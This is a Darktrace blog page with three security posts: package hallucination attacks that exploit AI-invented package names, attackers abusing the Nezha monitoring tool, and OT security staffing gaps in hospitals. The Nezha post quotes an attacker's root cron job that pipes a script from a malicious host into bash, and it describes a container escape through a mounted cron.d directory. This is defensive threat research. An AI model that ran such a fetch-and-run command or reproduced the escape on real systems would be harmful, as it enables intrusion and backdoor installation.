ブログ
/
AI
/
October 30, 2023

Exploring AI Threats: Package Hallucination Attacks

Learn how malicious actors exploit errors in generative AI tools to launch packet attacks. Read how Darktrace products detect and prevent these threats!
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Charlotte Thompson
Cyber Analyst
Written by
Tiana Kelly
Senior Cyber Analyst & Team Lead
Default blog image
30
Oct 2023

AI tools open doors for threat actors

On November 30, 2022, the free conversational language generation model ChatGPT was launched by OpenAI, an artificial intelligence (AI) research and development company. The launch of ChatGPT was the culmination of development ongoing since 2018 and represented the latest innovation in the ongoing generative AI boom and made the use of generative AI tools accessible to the general population for the first time.

ChatGPT is estimated to currently have at least 100 million users, and in August 2023 the site reached 1.43 billion visits [1]. Darktrace data indicated that, as of March 2023, 74% of active customer environments have employees using generative AI tools in the workplace [2].

However, with new tools come new opportunities for threat actors to exploit and use them maliciously, expanding their arsenal.

Much consideration has been given to mitigating the impacts of the increased linguistic complexity in social engineering and phishing attacks resulting from generative AI tool use, with Darktrace observing a 135% increase in ‘novel social engineering attacks’ across thousands of active Darktrace/Email™ customers from January to February 2023, corresponding with the widespread adoption of ChatGPT and its peers [3].

Less overall consideration, however, has been given to impacts stemming from errors intrinsic to generative AI tools. One of these errors is AI hallucinations.

What is an AI hallucination?

AI “hallucination” is a term which refers to the predictive elements of generative AI and LLMs’ AI model gives an unexpected or factually incorrect response which does not align with its machine learning training data [4]. This differs from regular and intended behavior for an AI model, which should provide a response based on the data it was trained upon.  

Why are AI hallucinations a problem?

Despite the term indicating it might be a rare phenomenon, hallucinations are far more likely than accurate or factual results as the AI models used in LLMs are merely predictive and focus on the most probable text or outcome, rather than factual accuracy.

Given the widespread use of generative AI tools in the workplace employees are becoming significantly more likely to encounter an AI hallucination. Furthermore, if these fabricated hallucination responses are taken at face value, they could cause significant issues for an organization.

Use of generative AI in software development

Software developers may use generative AI for recommendations on how to optimize their scripts or code, or to find packages to import into their code for various uses. Software developers may ask LLMs for recommendations on specific pieces of code or how to solve a specific problem, which will likely lead to a third-party package. It is possible that packages recommended by generative AI tools could represent AI hallucinations and the packages may not have been published, or, more accurately, the packages may not have been published prior to the date at which the training data for the model halts. If these hallucinations result in common suggestions of a non-existent package, and the developer copies the code snippet wholesale, this may leave the exchanges vulnerable to attack.

Research conducted by Vulcan revealed the prevalence of AI hallucinations when ChatGPT is asked questions related to coding. After sourcing a sample of commonly asked coding questions from Stack Overflow, a question-and-answer website for programmers, researchers queried ChatGPT (in the context of Node.js and Python) and reviewed its responses. In 20% of the responses provided by ChatGPT pertaining to Node.js at least one un-published package was included, whilst the figure sat at around 35% for Python [4].

Hallucinations can be unpredictable, but would-be attackers are able to find packages to create by asking generative AI tools generic questions and checking whether the suggested packages exist already. As such, attacks using this vector are unlikely to target specific organizations, instead posing more of a widespread threat to users of generative AI tools.

Malicious packages as attack vectors

Although AI hallucinations can be unpredictable, and responses given by generative AI tools may not always be consistent, malicious actors are able to discover AI hallucinations by adopting the approach used by Vulcan. This allows hallucinated packages to be used as attack vectors. Once a malicious actor has discovered a hallucination of an un-published package, they are able to create a package with the same name and include a malicious payload, before publishing it. This is known as a malicious package.

Malicious packages could also be recommended by generative AI tools in the form of pre-existing packages. A user may be recommended a package that had previously been confirmed to contain malicious content, or a package that is no longer maintained and, therefore, is more vulnerable to hijack by malicious actors.

In such scenarios it is not necessary to manipulate the training data (data poisoning) to achieve the desired outcome for the malicious actor, thus a complex and time-consuming attack phase can easily be bypassed.

An unsuspecting software developer may incorporate a malicious package into their code, rendering it harmful. Deployment of this code could then result in compromise and escalation into a full-blown cyber-attack.

Figure 1: Flow diagram depicting the initial stages of an AI Package Hallucination Attack.

For providers of Software-as-a-Service (SaaS) products, this attack vector may represent an even greater risk. Such organizations may have a higher proportion of employed software developers than other organizations of comparable size. A threat actor, therefore, could utilize this attack vector as part of a supply chain attack, whereby a malicious payload becomes incorporated into trusted software and is then distributed to multiple customers. This type of attack could have severe consequences including data loss, the downtime of critical systems, and reputational damage.

How could Darktrace detect an AI Package Hallucination Attack?

In June 2023, Darktrace introduced a range of DETECT™ and RESPOND™ models designed to identify the use of generative AI tools within customer environments, and to autonomously perform inhibitive actions in response to such detections. These models will trigger based on connections to endpoints associated with generative AI tools, as such, Darktrace’s detection of an AI Package Hallucination Attack would likely begin with the breaching of one of the following DETECT models:

  • Compliance / Anomalous Upload to Generative AI
  • Compliance / Beaconing to Rare Generative AI and Generative AI
  • Compliance / Generative AI

Should generative AI tool use not be permitted by an organization, the Darktrace RESPOND model ‘Antigena / Network / Compliance / Antigena Generative AI Block’ can be activated to autonomously block connections to endpoints associated with generative AI, thus preventing an AI Package Hallucination attack before it can take hold.

Once a malicious package has been recommended, it may be downloaded from GitHub, a platform and cloud-based service used to store and manage code. Darktrace DETECT is able to identify when a device has performed a download from an open-source repository such as GitHub using the following models:

  • Device / Anomalous GitHub Download
  • Device / Anomalous Script Download Followed By Additional Packages

Whatever goal the malicious package has been designed to fulfil will determine the next stages of the attack. Due to their highly flexible nature, AI package hallucinations could be used as an attack vector to deliver a large variety of different malware types.

As GitHub is a commonly used service by software developers and IT professionals alike, traditional security tools may not alert customer security teams to such GitHub downloads, meaning malicious downloads may go undetected. Darktrace’s anomaly-based approach to threat detection, however, enables it to recognize subtle deviations in a device’s pre-established pattern of life which may be indicative of an emerging attack.

Subsequent anomalous activity representing the possible progression of the kill chain as part of an AI Package Hallucination Attack could then trigger an Enhanced Monitoring model. Enhanced Monitoring models are high-fidelity indicators of potential malicious activity that are investigated by the Darktrace analyst team as part of the Proactive Threat Notification (PTN) service offered by the Darktrace Security Operation Center (SOC).

Conclusion

Employees are often considered the first line of defense in cyber security; this is particularly true in the face of an AI Package Hallucination Attack.

As the use of generative AI becomes more accessible and an increasingly prevalent tool in an attacker’s toolbox, organizations will benefit from implementing company-wide policies to define expectations surrounding the use of such tools. It is simple, yet critical, for example, for employees to fact check responses provided to them by generative AI tools. All packages recommended by generative AI should also be checked by reviewing non-generated data from either external third-party or internal sources. It is also good practice to adopt caution when downloading packages with very few downloads as it could indicate the package is untrustworthy or malicious.

As of September 2023, ChatGPT Plus and Enterprise users were able to use the tool to browse the internet, expanding the data ChatGPT can access beyond the previous training data cut-off of September 2021 [5]. This feature will be expanded to all users soon [6]. ChatGPT providing up-to-date responses could prompt the evolution of this attack vector, allowing attackers to publish malicious packages which could subsequently be recommended by ChatGPT.

It is inevitable that a greater embrace of AI tools in the workplace will be seen in the coming years as the AI technology advances and existing tools become less novel and more familiar. By fighting fire with fire, using AI technology to identify AI usage, Darktrace is uniquely placed to detect and take preventative action against malicious actors capitalizing on the AI boom.

Credit to Charlotte Thompson, Cyber Analyst, Tiana Kelly, Analyst Team Lead, London, Cyber Analyst

References

[1] https://seo.ai/blog/chatgpt-user-statistics-facts

[2] https://darktrace.com/news/darktrace-addresses-generative-ai-concerns

[3] https://darktrace.com/news/darktrace-email-defends-organizations-against-evolving-cyber-threat-landscape

[4] https://vulcan.io/blog/ai-hallucinations-package-risk?nab=1&utm_referrer=https%3A%2F%2Fwww.google.com%2F

[5] https://twitter.com/OpenAI/status/1707077710047216095

[6] https://www.reuters.com/technology/openai-says-chatgpt-can-now-browse-internet-2023-09-27/

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Charlotte Thompson
Cyber Analyst
Written by
Tiana Kelly
Senior Cyber Analyst & Team Lead

More in this series

No items found.

Blog

/

Network

/

June 10, 2026

How Attackers Abuse the Chinese Nezha Monitoring Tool

Default blog imageDefault blog image

What is Nezha?

Nezha is an open-source tool that allows system administrators to centrally monitor multiple servers, including their resource usage such as CPU and network usage, and uptime. The tool also enables remote administrative access via an interactive shell.

The project has just under 10,000 stars on GitHub and has seen widespread adoption in the Chinese IT community, with many forum posts providing guides on installation and usage.

However, Nezha’s status as a legitimate executable that has remote access capabilities creates an opportunity for misuse. Instead of deploying a regular command-and-control (C2) implant, attackers can deploy Nezha directly on compromised hosts. As these deployments are functionally indistinguishable from legitimate installations, they can blend into expected operational tooling and evade detection.

Darktrace’s analysis of a Nezha infection

Darktrace operates several high-interaction honeypots to observe attacker techniques and behaviors. Darktrace analysts observed an intrusion against the Docker-based honeypot, initiated with a malicious container create command.

 The malicious container create command.
Figure 1: The malicious container create command.

Docker allows any host file or directory to be passed through to a container, granting read and write access. In this case, the attacker made use of this to pass through the cron.d directory, which is used to schedule recurring tasks, such as maintenance or backup commands.

These commands and timings are stored in the cron.d directory, which the attacker can now write to because it is passed through to their malicious container. By writing a job to this directory from within the container, the cron service running on the host detects the new job and executes it on the host, effectively allowing the attacker to escape the container.

The attacker the created a malicious cron job named ngk:
* * * * * root curl hxxps://file.gpu5[.]com/linux_install.sh | bash

This resulted in the host downloading and running the linux_install.sh file with root privileges.

The linux_install script installs several dependencies, sets up environmental variables, and retrieves a second-stage script (nezha_install.sh) from the same domain.

The linux_install script.
Figure 2: The linux_install script.

The nezha_install.sh script based on the official Nezha installer but has been modified to hard code configuration values, such as the server address, and to remove interactive prompts, allowing it to be installed without user input.

Open by design

One of Nezha’s most interesting design choices is that its main monitoring panel does not require authentication to view a list of monitored hosts. This exposes a list of compromised systems via the attacker-controlled panel, enabling direct observation of the operation’s scale, victimology and infrastructure.

The attacker’s Nezha dashboard.
Figure 3: The attacker’s Nezha dashboard.

At the time of analysis, the campaign had infected 141 servers, with 45 still online and accessible.  The number of online servers was previously higher, suggesting that some victims may have discovered and removed the infection.

The exposed dashboard provides insights into victim characteristics, including geographic distribution, hardware specification, and resource usage. Most infected hosts were low-spec systems, commonly one or two core Xeon CPUs and less than 4GB of RAM, indicating they were likely small virtual private servers (VPS) with limited value to the attacker.

Many systems also exhibited 100% CPU usage, which may indicate concurrent compromise, such as cryptocurrency mining activity by other threat actors.

Open-source intelligence platforms such as Shodan and Censys can also identify publicly exposed instances of Nezha. Although authentication is required to execute commands on a monitored server, visibility into dashboards still provides valuable intelligence for attackers and defenders alike.

At the time of writing, Darktrace identified 33 internet-facing Nezha installations as openly accessible.

Key takeaways

The abuse of legitimate software has become a consistent feature of modern intrusion activity, enabling attackers to operate without deploying traditional malware and reducing the risk of detection.

This creates a form of “trust inversion”, where tools typically associated with routine operations may instead indicate malicious activity when deployed outside expected contexts. Organizations should therefore prioritize asset visibility and software governance, ensuring that unexpected tool deployments can be identified and investigated, rather than focusing solely on malware-centric detection.

This challenge is especially pronounced in cloud environments, where legitimate monitoring tools may represent either essential software or an attacker backdoor. The scale and dynamic nature of cloud environments further complicate distinguishing between benign and malicious use.

Credit to Nathaniel Bill (Malware Research Engineer)
Edited by Ryan Traill (Content Manager)

Continue reading
About the author
Nathaniel Bill
Malware Research Engineer

Blog

/

OT

/

June 9, 2026

Healthcare’s OT Cybersecurity Gap: Why Hospitals Must Make the Same Security Investments as Regulated Critical Infrastructures

Default blog imageDefault blog image

Rethinking the healthcare attack surface

When most people think about Operational Technology (OT) cybersecurity, they think about oil & gas pipelines, utilities, manufacturing plants, or power grids. However, hospitals & healthcare systems have quickly become a point of focus in the OT cybersecurity community as they do employ a variety of OT in the form of IoMT (Internet of Medical Things) networked devices such as: infusion pumps, imaging systems, patient monitoring equipment, laboratory systems, and traditional industrial control systems (ICS) in the form of smart building management systems (BMS) and even on site power generation control systems. 

These healthcare environments are no longer just traditional IT ecosystems, they are cyber-physical environments where disruption can directly impact patient care, operational continuity, and ultimately patient safety.

The OT cybersecurity expertise gap in healthcare organizations

Our research in the OT cybersecurity space revealed a concerning trend. Many hospitals and healthcare networks lack dedicated OT cybersecurity teams, OT security full time employees (FTE) and even OT expertise in the form of OT security certifications when compared to other critical infrastructure sectors.

On the other hand, within industries such as energy and manufacturing, we encounter more mature OT security programs that employ full time employees  dedicated to OT cybersecurity with OT security certifications and expertise to secure industrial and operational environments and lead investment in OT security processes and technology.

When reviewing the top 20 U.S. Hospitals by market cap, given what is publicly available on LinkedIn, only one FTE with an OT cybersecurity certification was found. The certifications that were searched for include: GIAC GICSP, GIAC GRID, GIAC GCIP and all ISA/IEC 62443 certifications. When replicating this same search across the top 20 utility providers in the US, 73 FTEs with OT related certifications were identified. As a control group, we looked within financial services, an industry NOT expected to have OT systems worth investing in FTEs to protect. However, the top 20 US financial institutions had 18 FTEs with OT related certifications. 

What these findings reveal

Overall, the findings regarding healthcare investment in OT security FTEs are surprising given how operationally dependent modern healthcare has become on OT. So why aren't hospitals investing in OT security personnel at the rate of peer critical infrastructures? It could just be lack of awareness; however, there are other, more plausible reasons.  

Based on historical trends in cyber incidents within the healthcare space, one could speculate that there is significantly greater likelihood of being victim to an attack that  focuses on extortion or data theft rather than an attack on specific OT systems. The amount of ransomware events incurred in healthcare, that historically do not target OT systems, may divert attention and security investment to the parts of the attack surface most likely to be targeted by ransomware. Additionally, data theft is a relevant threat objective for hospitals given PHI, PCI and PII, and data theft does not traditionally align with attacks targeting OT.  

However, with focused investment to address data theft and with adversaries new capability to string together chains of vulnerabilities of different severity scores using advancements in AI, we could be entering a threat landscape where adversaries pivot their tactics to target exposed and under protected devices and systems like OT. For example, although not a patient records database, predominant IOMT protocols HL7 and DICOM are unencrypted plaintext protocols and unless encrypted it is very simple for adversaries, who are sniffing traffic, to identify protected health information (PHI) in these communication protocols.

Why OT cybersecurity expertise can be effective for healthcare organizations

The convergence of IT, OT, and IoMT is already here, and threat actors are increasingly aware of the operational vulnerabilities that come with it. Additionally, as AI solutions such as agentic or generative applications are adopted and deployed, the attack surface will continue to change as permissions, and new connections will exist to support AI efficiency. From a cybersecurity standpoint, the reality is that many healthcare organizations are still working to establish consistent visibility and governance across their enterprise-connected devices and systems as their attack surface is changing in real time.  As the healthcare sector remains a significant target for cyber-attacks, hospitals would be well advised to begin addressing their operational environments OT as a critical component of their attack surface and invest in securing them first with people, then process and technology. 

What can healthcare organizations do to secure their OT

Including OT in current cybersecurity processes such as red teaming and testing incident response plans that take OT into account alongside building dedicated OT security capabilities including improving OT network visibility, leveraging OT network anomaly detection, micro-segmentation, and secure remote access will become essential steps in strengthening healthcare resilience. 

However, before any of the above processes or investments in technology can be made, these healthcare organizations, like the other critical infrastructure sectors, need to invest in the people with the experience in OT security to lead, implement, manage and audit the investment in OT cybersecurity technology and processes.  In cases where headcount cannot be added, investment in OT security certifications, such as the ones listed in this article, and participation on OT security events focused on practitioner training for existing cybersecurity employees can move the needle in terms of bringing OT expertise to the existing team.  

In an industry where uptime and safety are as mission critical as they are for a power utility, OT cybersecurity FTEs can no longer be viewed as optional for healthcare organizations and must become part of the foundation of modern healthcare cybersecurity strategy. 

[related-resource]

Continue reading
About the author
Daniel Simonds
Director of Operational Technology
あなたのデータ × DarktraceのAI
唯一無二のDarktrace AIで、ネットワークセキュリティを次の次元へ